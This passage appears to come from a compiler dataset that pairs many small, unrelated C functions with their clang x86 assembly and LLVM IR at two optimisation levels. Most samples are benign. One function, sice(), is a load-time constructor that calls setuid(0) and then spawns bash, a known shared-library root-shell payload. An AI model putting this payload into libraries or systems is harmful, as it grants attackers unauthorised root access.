9: ; preds = %3
%10 = trunc i64 %4 to i32
%11 = tail call i32 @write(i32 1, i8* %0, i32 %10)
%12 = tail call i32 @write(i32 1, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0), i32 1)
br label %13
13: ; preds = %9, %1
ret void
}
long C_u_i_inexactp(long x) {
  if (x & 0x00000001)
    return ((long)(0x00000006 | 0x00000000));
  return ((long)(0x00000006 | 0x00000010));
}


x86 assembly (clang, -O0):
<C_u_i_inexactp>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x10(%rbp)
mov    -0x10(%rbp),%rax
and    $0x1,%rax
cmp    $0x0,%rax
je     1127 <C_u_i_inexactp+0x27>
movq   $0x6,-0x8(%rbp)
jmp    112f <C_u_i_inexactp+0x2f>
movq   $0x16,-0x8(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<C_u_i_inexactp>:
xor    %eax,%eax
test   $0x1,%dil
sete   %al
shl    $0x4,%rax
or     $0x6,%rax
ret

LLVM IR (-O0):
define i64 @C_u_i_inexactp(i64 %0) {
%2 = alloca i64
%3 = alloca i64
store i64 %0, i64* %3
%4 = load i64, i64* %3
%5 = and i64 %4, 1
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %8
7: ; preds = %1
store i64 6, i64* %2
br label %9
8: ; preds = %1
store i64 22, i64* %2
br label %9
9: ; preds = %8, %7
%10 = load i64, i64* %2
ret i64 %10
}

LLVM IR (-O2):
define i64 @C_u_i_inexactp(i64 %0) {
%2 = and i64 %0, 1
%3 = icmp eq i64 %2, 0
%4 = select i1 %3, i64 22, i64 6
ret i64 %4
}
/* Variables and functions */
int /*<<< orphan*/ free(void *);
void obj_free(int id, void *obj, void *ud) {
  (void)id;
  (void)ud;
  if (obj != NULL)
    free(obj);
  return;
}


x86 assembly (clang, -O0):
<obj_free>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
cmpq   $0x0,-0x10(%rbp)
je     1137 <obj_free+0x27>
mov    -0x10(%rbp),%rdi
call   1030 <free@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<obj_free>:
test   %rsi,%rsi
je     111d <obj_free+0xd>
mov    %rsi,%rdi
jmp    1030 <free@plt>
ret

LLVM IR (-O0):
define void @obj_free(i32 %0, i8* %1, i8* %2) {
%4 = alloca i32
%5 = alloca i8*
%6 = alloca i8*
store i32 %0, i32* %4
store i8* %1, i8** %5
store i8* %2, i8** %6
%7 = load i32, i32* %4
%8 = load i8*, i8** %6
%9 = load i8*, i8** %5
%10 = icmp ne i8* %9, null
br i1 %10, label %11, label %14
11: ; preds = %3
%12 = load i8*, i8** %5
%13 = call i32 @free(i8* %12)
br label %14
14: ; preds = %11, %3
ret void
}

LLVM IR (-O2):
define void @obj_free(i32 %0, i8* %1, i8* nocapture readnone %2) {
%4 = icmp eq i8* %1, null
br i1 %4, label %7, label %5
5: ; preds = %3
%6 = tail call i32 @free(i8* %1)
br label %7
7: ; preds = %5, %3
ret void
}
/* Variables and functions */
int EXIT_FAILURE;
int EXIT_SUCCESS;
scalar_t__ test_getdesc();
int main(void) {
  if (test_getdesc() != 0)
    return EXIT_FAILURE;
  return EXIT_SUCCESS;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1030 <test_getdesc@plt>
cmp    $0x0,%rax
je     1141 <main+0x31>
mov    0x2ea9(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    114d <main+0x3d>
mov    0x2e90(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1030 <test_getdesc@plt>
test   %rax,%rax
jne    1126 <main+0x16>
mov    0x2eb4(%rip),%rax
jmp    112d <main+0x1d>
mov    0x2eb3(%rip),%rax
mov    (%rax),%eax
pop    %rcx
ret

LLVM IR (-O0):
@EXIT_FAILURE = global i32 0
@EXIT_SUCCESS = global i32 0
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i64 (...) @test_getdesc()
%3 = icmp ne i64 %2, 0
br i1 %3, label %4, label %6
4: ; preds = %0
%5 = load i32, i32* @EXIT_FAILURE
store i32 %5, i32* %1
br label %8
6: ; preds = %0
%7 = load i32, i32* @EXIT_SUCCESS
store i32 %7, i32* %1
br label %8
8: ; preds = %6, %4
%9 = load i32, i32* %1
ret i32 %9
}

LLVM IR (-O2):
@EXIT_FAILURE = global i32 0
@EXIT_SUCCESS = global i32 0
define i32 @main() {
%1 = tail call i64 (...) @test_getdesc()
%2 = icmp eq i64 %1, 0
%3 = load i32, i32* @EXIT_SUCCESS
%4 = load i32, i32* @EXIT_FAILURE
%5 = select i1 %2, i32 %3, i32 %4
ret i32 %5
}
/* Type definitions */
typedef scalar_t__ uint32_t;

/* Variables and functions */
int /*<<< orphan*/ assert(int);
scalar_t__ is_power_of_two_non_zero(scalar_t__);
uint32_t fill_word_naive(uint32_t x) {
  assert(x == 0 || is_power_of_two_non_zero(x));
  return x ? 0xffffffff : 0;
}


x86 assembly (clang, -O0):
<fill_word_naive>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    $0x1,%al
cmpq   $0x0,-0x8(%rbp)
mov    %al,-0x9(%rbp)
je     114f <fill_word_naive+0x2f>
mov    -0x8(%rbp),%rdi
call   1040 <is_power_of_two_non_zero@plt>
cmp    $0x0,%rax
setne  %al
mov    %al,-0x9(%rbp)
mov    -0x9(%rbp),%al
and    $0x1,%al
movzbl %al,%edi
call   1030 <assert@plt>
mov    -0x8(%rbp),%rdx
xor    %eax,%eax
mov    $0xffffffff,%ecx
cmp    $0x0,%rdx
cmovne %ecx,%eax
mov    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fill_word_naive>:
push   %rbx
test   %rdi,%rdi
je     113b <fill_word_naive+0x1b>
call   1040 <is_power_of_two_non_zero@plt>
xor    %edi,%edi
test   %rax,%rax
setne  %dil
mov    $0xffffffff,%ebx
jmp    1142 <fill_word_naive+0x22>
mov    $0x1,%edi
xor    %ebx,%ebx
call   1030 <assert@plt>
mov    %rbx,%rax
pop    %rbx
ret

LLVM IR (-O0):
define i64 @fill_word_naive(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = icmp eq i64 %3, 0
br i1 %4, label %9, label %5
5: ; preds = %1
%6 = load i64, i64* %2
%7 = call i64 @is_power_of_two_non_zero(i64 %6)
%8 = icmp ne i64 %7, 0
br label %9
9: ; preds = %5, %1
%10 = phi i1 [ true, %1 ], [ %8, %5 ]
%11 = zext i1 %10 to i32
%12 = call i32 @assert(i32 %11)
%13 = load i64, i64* %2
%14 = icmp ne i64 %13, 0
%15 = zext i1 %14 to i64
%16 = select i1 %14, i32 -1, i32 0
%17 = zext i32 %16 to i64
ret i64 %17
}

LLVM IR (-O2):
define i64 @fill_word_naive(i64 %0) {
%2 = icmp eq i64 %0, 0
br i1 %2, label %7, label %3
3: ; preds = %1
%4 = tail call i64 @is_power_of_two_non_zero(i64 %0)
%5 = icmp ne i64 %4, 0
%6 = zext i1 %5 to i32
br label %7
7: ; preds = %3, %1
%8 = phi i64 [ 4294967295, %3 ], [ 0, %1 ]
%9 = phi i32 [ %6, %3 ], [ 1, %1 ]
%10 = tail call i32 @assert(i32 %9)
ret i64 %8
}
/* Variables and functions */
int errno;
int grid_err_errno(void) { return errno; }


x86 assembly (clang, -O0):
<grid_err_errno>:
push   %rbp
mov    %rsp,%rbp
mov    0x2ed5(%rip),%rax
mov    (%rax),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<grid_err_errno>:
mov    0x2ed9(%rip),%rax
mov    (%rax),%eax
ret

LLVM IR (-O0):
@errno = global i32 0
define i32 @grid_err_errno() {
%1 = load i32, i32* @errno
ret i32 %1
}

LLVM IR (-O2):
@errno = global i32 0
define i32 @grid_err_errno() {
%1 = load i32, i32* @errno
ret i32 %1
}
/* Variables and functions */
int /*<<< orphan*/ fatal(char *);
int aw_bdb_cursor_next(void *v_mydbc, void *v_ptr_keystr, int *keylen,
                       void *v_ptr_datastr, int *datalen) {
  fatal("BerkeleyDB support not compiled");
  return 0;
}


x86 assembly (clang, -O0):
<aw_bdb_cursor_next>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    %r8,-0x28(%rbp)
lea    0xecd(%rip),%rdi
call   1030 <fatal@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<aw_bdb_cursor_next>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <fatal@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [32 x i8] c"BerkeleyDB support not compiled\00"
define i32 @aw_bdb_cursor_next(i8* %0, i8* %1, i32* %2, i8* %3, i32* %4) {
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i32*
%9 = alloca i8*
%10 = alloca i32*
store i8* %0, i8** %6
store i8* %1, i8** %7
store i32* %2, i32** %8
store i8* %3, i8** %9
store i32* %4, i32** %10
%11 = call i32 @fatal(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [32 x i8] c"BerkeleyDB support not compiled\00"
define i32 @aw_bdb_cursor_next(i8* nocapture readnone %0, i8* nocapture readnone %1, i32* nocapture readnone %2, i8* nocapture readnone %3, i32* nocapture readnone %4) {
%6 = tail call i32 @fatal(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int access(char const *, int);
int /*<<< orphan*/ dir_mutex_lock(int);
int /*<<< orphan*/ dir_mutex_unlock();
int faccessat(int dirfd, const char *pathname, int mode, int flags) {
  int rc;
  if (flags) {
  }
  dir_mutex_lock(dirfd);
  rc = access(pathname, mode);
  dir_mutex_unlock();
  return rc;
}


x86 assembly (clang, -O0):
<faccessat>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    %ecx,-0x18(%rbp)
cmpl   $0x0,-0x18(%rbp)
je     1154 <faccessat+0x24>
jmp    1154 <faccessat+0x24>
mov    -0x4(%rbp),%edi
call   1030 <dir_mutex_lock@plt>
mov    -0x10(%rbp),%rdi
mov    -0x14(%rbp),%esi
call   1040 <access@plt>
mov    %eax,-0x1c(%rbp)
mov    $0x0,%al
call   1050 <dir_mutex_unlock@plt>
mov    -0x1c(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<faccessat>:
push   %rbp
push   %rbx
push   %rax
mov    %edx,%ebp
mov    %rsi,%rbx
call   1030 <dir_mutex_lock@plt>
mov    %rbx,%rdi
mov    %ebp,%esi
call   1040 <access@plt>
mov    %eax,%ebx
xor    %eax,%eax
call   1050 <dir_mutex_unlock@plt>
mov    %ebx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define i32 @faccessat(i32 %0, i8* %1, i32 %2, i32 %3) {
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
store i32 %0, i32* %5
store i8* %1, i8** %6
store i32 %2, i32* %7
store i32 %3, i32* %8
%10 = load i32, i32* %8
%11 = icmp ne i32 %10, 0
br i1 %11, label %12, label %13
12: ; preds = %4
br label %13
13: ; preds = %12, %4
%14 = load i32, i32* %5
%15 = call i32 @dir_mutex_lock(i32 %14)
%16 = load i8*, i8** %6
%17 = load i32, i32* %7
%18 = call i32 @access(i8* %16, i32 %17)
store i32 %18, i32* %9
%19 = call i32 (...) @dir_mutex_unlock()
%20 = load i32, i32* %9
ret i32 %20
}

LLVM IR (-O2):
define i32 @faccessat(i32 %0, i8* nocapture %1, i32 %2, i32 %3) {
%5 = tail call i32 @dir_mutex_lock(i32 %0)
%6 = tail call i32 @access(i8* %1, i32 %2)
%7 = tail call i32 (...) @dir_mutex_unlock()
ret i32 %6
}
/* Variables and functions */
float ceil(float);
float floor(float);
__attribute__((always_)) __attribute__((const)) float truncf(float x) {
  return (x > 0) ? floor(x) : ceil(x);
}


x86 assembly (clang, -O0):
<truncf>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movss  %xmm0,-0x4(%rbp)
movss  -0x4(%rbp),%xmm0
xorps  %xmm1,%xmm1
ucomiss %xmm1,%xmm0
jbe    1152 <truncf+0x32>
movss  -0x4(%rbp),%xmm0
call   1040 <floor@plt>
movss  %xmm0,-0x8(%rbp)
jmp    1161 <truncf+0x41>
movss  -0x4(%rbp),%xmm0
call   1030 <ceil@plt>
movss  %xmm0,-0x8(%rbp)
movss  -0x8(%rbp),%xmm0
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<truncf>:
xorps  %xmm1,%xmm1
ucomiss %xmm1,%xmm0
jbe    112d <truncf+0xd>
jmp    1030 <floorf@plt>
jmp    1040 <ceilf@plt>

LLVM IR (-O0):
define float @truncf(float %0) {
%2 = alloca float
store float %0, float* %2
%3 = load float, float* %2
%4 = fcmp ogt float %3, 0.000000e+00
br i1 %4, label %5, label %8
5: ; preds = %1
%6 = load float, float* %2
%7 = call float @floor(float %6)
br label %11
8: ; preds = %1
%9 = load float, float* %2
%10 = call float @ceil(float %9)
br label %11
11: ; preds = %8, %5
%12 = phi float [ %7, %5 ], [ %10, %8 ]
ret float %12
}

LLVM IR (-O2):
define float @truncf(float %0) {
%2 = fcmp ogt float %0, 0.000000e+00
br i1 %2, label %3, label %5
3: ; preds = %1
%4 = tail call float @llvm.floor.f32(float %0)
br label %7
5: ; preds = %1
%6 = tail call float @llvm.ceil.f32(float %0)
br label %7
7: ; preds = %5, %3
%8 = phi float [ %4, %3 ], [ %6, %5 ]
ret float %8
}
/* Variables and functions */
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int /*<<< orphan*/ system(char *);
__attribute((constructor)) void sice() {
  setuid(0);
  system("id");
  system("bash");
  exit(0);
}


x86 assembly (clang, -O0):
<sice>:
push   %rbp
mov    %rsp,%rbp
xor    %edi,%edi
call   1050 <setuid@plt>
lea    0xebe(%rip),%rdi
call   1030 <system@plt>
lea    0xeb5(%rip),%rdi
call   1030 <system@plt>
xor    %edi,%edi
call   1040 <exit@plt>

x86 assembly (clang, -O2):
<sice>:
push   %rax
xor    %edi,%edi
call   1050 <setuid@plt>
lea    0xec1(%rip),%rdi
call   1030 <system@plt>
lea    0xeb8(%rip),%rdi
call   1030 <system@plt>
xor    %edi,%edi
call   1040 <exit@plt>

LLVM IR (-O0):
@.str = [3 x i8] c"id\00"
@.str.1 = [5 x i8] c"bash\00"
@llvm.global_ctors = appending global [1 x { i32, void ()*, i8* }] [{ i32, void ()*, i8* } { i32 65535, void ()* @sice, i8* null }]
define void @sice() {
%1 = call i32 @setuid(i32 0)
%2 = call i32 @system(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
%3 = call i32 @system(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0))
%4 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@.str = [3 x i8] c"id\00"
@.str.1 = [5 x i8] c"bash\00"
@llvm.global_ctors = appending global [1 x { i32, void ()*, i8* }] [{ i32, void ()*, i8* } { i32 65535, void ()* @sice, i8* null }]
define void @sice() {
%1 = tail call i32 @setuid(i32 0)
%2 = tail call i32 @system(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
%3 = tail call i32 @system(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0))
%4 = tail call i32 @exit(i32 0)
unreachable
}
/* Variables and functions */
int /*<<< orphan*/ memcpy(char *, char *, int);
int main(int argc, char *argv[]) {
  char source[65536], destination[65536];
  int i, j;
  for (j = 0; j < 100; ++j) {
    memcpy(destination, source, 65536);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20020,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x20018(%rbp)
cmpl   $0x64,-0x20018(%rbp)
jge    116c <main+0x5c>
lea    -0x20010(%rbp),%rdi
lea    -0x10010(%rbp),%rsi
mov    $0x10000,%edx
call   1030 <memcpy@plt>
mov    -0x20018(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20018(%rbp)
jmp    1133 <main+0x23>
mov    -0x4(%rbp),%eax
add    $0x20020,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r14
push   %rbx
sub    $0x20000,%rsp
mov    $0x64,%ebp
mov    %rsp,%r14
lea    0x10000(%rsp),%rbx
nopl   0x0(%rax,%rax,1)
mov    %r14,%rdi
mov    %rbx,%rsi
mov    $0x10000,%edx
call   1030 <memcpy@plt>
add    $0xffffffff,%ebp
jne    1130 <main+0x20>
xor    %eax,%eax
add    $0x20000,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [65536 x i8]
%7 = alloca [65536 x i8]
%8 = alloca i32
%9 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %9
br label %10
10: ; preds = %17, %2
%11 = load i32, i32* %9
%12 = icmp slt i32 %11, 100
br i1 %12, label %13, label %20
13: ; preds = %10
%14 = getelementptr inbounds [65536 x i8], [65536 x i8]* %7, i64 0, i64 0
%15 = getelementptr inbounds [65536 x i8], [65536 x i8]* %6, i64 0, i64 0
%16 = call i32 @memcpy(i8* %14, i8* %15, i32 65536)
br label %17
17: ; preds = %13
%18 = load i32, i32* %9
%19 = add nsw i32 %18, 1
store i32 %19, i32* %9
br label %10
20: ; preds = %10
%21 = load i32, i32* %3
ret i32 %21
}

LLVM IR (-O2):
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [65536 x i8]
%4 = alloca [65536 x i8]
%5 = getelementptr inbounds [65536 x i8], [65536 x i8]* %3, i64 0, i64 0
%6 = getelementptr inbounds [65536 x i8], [65536 x i8]* %4, i64 0, i64 0
br label %7
7: ; preds = %2, %7
%8 = phi i32 [ 0, %2 ], [ %10, %7 ]
%9 = call i32 @memcpy(i8* %6, i8* %5, i32 65536)
%10 = add nuw nsw i32 %8, 1
%11 = icmp eq i32 %10, 100
br i1 %11, label %12, label %7
12: ; preds = %7
ret i32 0
}
/* Variables and functions */
int isalnum(int);
bool invalidFunctionArgBool_isalnum(bool b, int c) {
  (void)isalnum(b);
  return isalnum(c != 0);
}


x86 assembly (clang, -O0):
<invalidFunctionArgBool_isalnum>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
setne  %al
and    $0x1,%al
movzbl %al,%edi
call   1030 <isalnum@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<invalidFunctionArgBool_isalnum>:
xor    %edi,%edi
test   %esi,%esi
setne  %dil
jmp    1030 <isalnum@plt>

LLVM IR (-O0):
define i32 @invalidFunctionArgBool_isalnum(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = call i32 @isalnum(i32 %5)
%7 = load i32, i32* %4
%8 = icmp ne i32 %7, 0
%9 = zext i1 %8 to i32
%10 = call i32 @isalnum(i32 %9)
ret i32 %10
}

LLVM IR (-O2):
define i32 @invalidFunctionArgBool_isalnum(i32 %0, i32 %1) {
%3 = icmp ne i32 %1, 0
%4 = zext i1 %3 to i32
%5 = tail call i32 @isalnum(i32 %4)
ret i32 %5
}
/* Variables and functions */
int /*<<< orphan*/ CounterToLocalTimeC__1__Counter__overflow();
void Atm128AlarmAsyncP__0__Counter__overflow(void) {
  CounterToLocalTimeC__1__Counter__overflow();
}


x86 assembly (clang, -O0):
<Atm128AlarmAsyncP__0__Counter__overflow>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <CounterToLocalTimeC__1__Counter__overflow@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<Atm128AlarmAsyncP__0__Counter__overflow>:
xor    %eax,%eax
jmp    1030 <CounterToLocalTimeC__1__Counter__overflow@plt>

LLVM IR (-O0):
define void @Atm128AlarmAsyncP__0__Counter__overflow() {
%1 = call i32 (...) @CounterToLocalTimeC__1__Counter__overflow()
ret void
}

LLVM IR (-O2):
define void @Atm128AlarmAsyncP__0__Counter__overflow() {
%1 = tail call i32 (...) @CounterToLocalTimeC__1__Counter__overflow()
ret void
}
int q(int a, int b, int c) { return a * a + b * b + c * c; }


x86 assembly (clang, -O0):
<q>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    %edx,-0xc(%rbp)
mov    -0x4(%rbp),%eax
imul   -0x4(%rbp),%eax
mov    -0x8(%rbp),%ecx
imul   -0x8(%rbp),%ecx
add    %ecx,%eax
mov    -0xc(%rbp),%ecx
imul   -0xc(%rbp),%ecx
add    %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<q>:
imul   %edi,%edi
imul   %esi,%esi
lea    (%rsi,%rdi,1),%eax
imul   %edx,%edx
add    %edx,%eax
ret

LLVM IR (-O0):
define i32 @q(i32 %0, i32 %1, i32 %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
store i32 %0, i32* %4
store i32 %1, i32* %5
store i32 %2, i32* %6
%7 = load i32, i32* %4
%8 = load i32, i32* %4
%9 = mul nsw i32 %7, %8
%10 = load i32, i32* %5
%11 = load i32, i32* %5
%12 = mul nsw i32 %10, %11
%13 = add nsw i32 %9, %12
%14 = load i32, i32* %6
%15 = load i32, i32* %6
%16 = mul nsw i32 %14, %15
%17 = add nsw i32 %13, %16
ret i32 %17
}

LLVM IR (-O2):
define i32 @q(i32 %0, i32 %1, i32 %2) {
%4 = mul nsw i32 %0, %0
%5 = mul nsw i32 %1, %1
%6 = add nuw nsw i32 %5, %4
%7 = mul nsw i32 %2, %2
%8 = add nuw nsw i32 %6, %7
ret i32 %8
}
int ti_cos_start(double const *options) {
  (void)options;
  return 0;
}


x86 assembly (clang, -O0):
<ti_cos_start>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<ti_cos_start>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @ti_cos_start(double* %0) {
%2 = alloca double*
store double* %0, double** %2
%3 = load double*, double** %2
ret i32 0
}

LLVM IR (-O2):
define i32 @ti_cos_start(double* nocapture readnone %0) {
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *);
int main() {
  printf("Hello Classic!\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeda(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [16 x i8] c"Hello Classic!\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@str = [15 x i8] c"Hello Classic!\00"
define i32 @main() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @str, i64 0, i64 0))
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ __VERIFIER_assert(int);
int main(void) {
  unsigned int x = 0;
  while (x < 0x0fffffff) {
    x += 2;
  }
  __VERIFIER_assert(!(x % 2));
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
cmpl   $0xfffffff,-0x8(%rbp)
jae    1141 <main+0x31>
mov    -0x8(%rbp),%eax
add    $0x2,%eax
mov    %eax,-0x8(%rbp)
jmp    1126 <main+0x16>
mov    -0x8(%rbp),%eax
and    $0x1,%eax
cmp    $0x0,%eax
setne  %al
xor    $0xff,%al
and    $0x1,%al
movzbl %al,%edi
call   1030 <__VERIFIER_assert@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
mov    $0x1,%edi
call   1030 <__VERIFIER_assert@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
store i32 0, i32* %1
store i32 0, i32* %2
br label %3
3: ; preds = %6, %0
%4 = load i32, i32* %2
%5 = icmp ult i32 %4, 268435455
br i1 %5, label %6, label %9
6: ; preds = %3
%7 = load i32, i32* %2
%8 = add i32 %7, 2
store i32 %8, i32* %2
br label %3
9: ; preds = %3
%10 = load i32, i32* %2
%11 = urem i32 %10, 2
%12 = icmp ne i32 %11, 0
%13 = xor i1 %12, true
%14 = zext i1 %13 to i32
%15 = call i32 @__VERIFIER_assert(i32 %14)
%16 = load i32, i32* %1
ret i32 %16
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 @__VERIFIER_assert(i32 1)
ret i32 0
}
/* Type definitions */
typedef int /*<<< orphan*/ uint8_t;
typedef int /*<<< orphan*/ uint64_t;

/* Variables and functions */
int /*<<< orphan*/ internal_fiat_25519_from_bytes(uintptr_t, uintptr_t);
void fiat_25519_from_bytes(uint64_t out1[5], const uint8_t arg1[32]) {
  internal_fiat_25519_from_bytes((uintptr_t)out1, (uintptr_t)arg1);
}


x86 assembly (clang, -O0):
<fiat_25519_from_bytes>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   1030 <internal_fiat_25519_from_bytes@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fiat_25519_from_bytes>:
jmp    1030 <internal_fiat_25519_from_bytes@plt>

LLVM IR (-O0):
define void @fiat_25519_from_bytes(i32* %0, i32* %1) {
%3 = alloca i32*
%4 = alloca i32*
store i32* %0, i32** %3
store i32* %1, i32** %4
%5 = load i32*, i32** %3
%6 = ptrtoint i32* %5 to i64
%7 = load i32*, i32** %4
%8 = ptrtoint i32* %7 to i64
%9 = call i32 @internal_fiat_25519_from_bytes(i64 %6, i64 %8)
ret void
}

LLVM IR (-O2):
define void @fiat_25519_from_bytes(i32* %0, i32* %1) {
%3 = ptrtoint i32* %0 to i64
%4 = ptrtoint i32* %1 to i64
%5 = tail call i32 @internal_fiat_25519_from_bytes(i64 %3, i64 %4)
ret void
}
unsigned long int_hash(void *data) {
  return (unsigned long)*((unsigned long *)data);
}


x86 assembly (clang, -O0):
<int_hash>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<int_hash>:
mov    (%rdi),%rax
ret

LLVM IR (-O0):
define i64 @int_hash(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = bitcast i8* %3 to i64*
%5 = load i64, i64* %4
ret i64 %5
}

LLVM IR (-O2):
define i64 @int_hash(i8* nocapture %0) {
%2 = bitcast i8* %0 to i64*
%3 = load i64, i64* %2
ret i64 %3
}
void wordDictionaryFree(struct WordDictionary *wordDictionary) {}


x86 assembly (clang, -O0):
<wordDictionaryFree>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<wordDictionaryFree>:
ret

LLVM IR (-O0):
%struct.WordDictionary = type opaque
define void @wordDictionaryFree(%struct.WordDictionary* %0) {
%2 = alloca %struct.WordDictionary*
store %struct.WordDictionary* %0, %struct.WordDictionary** %2
ret void
}

LLVM IR (-O2):
%struct.WordDictionary = type opaque
define void @wordDictionaryFree(%struct.WordDictionary* nocapture %0) {
ret void
}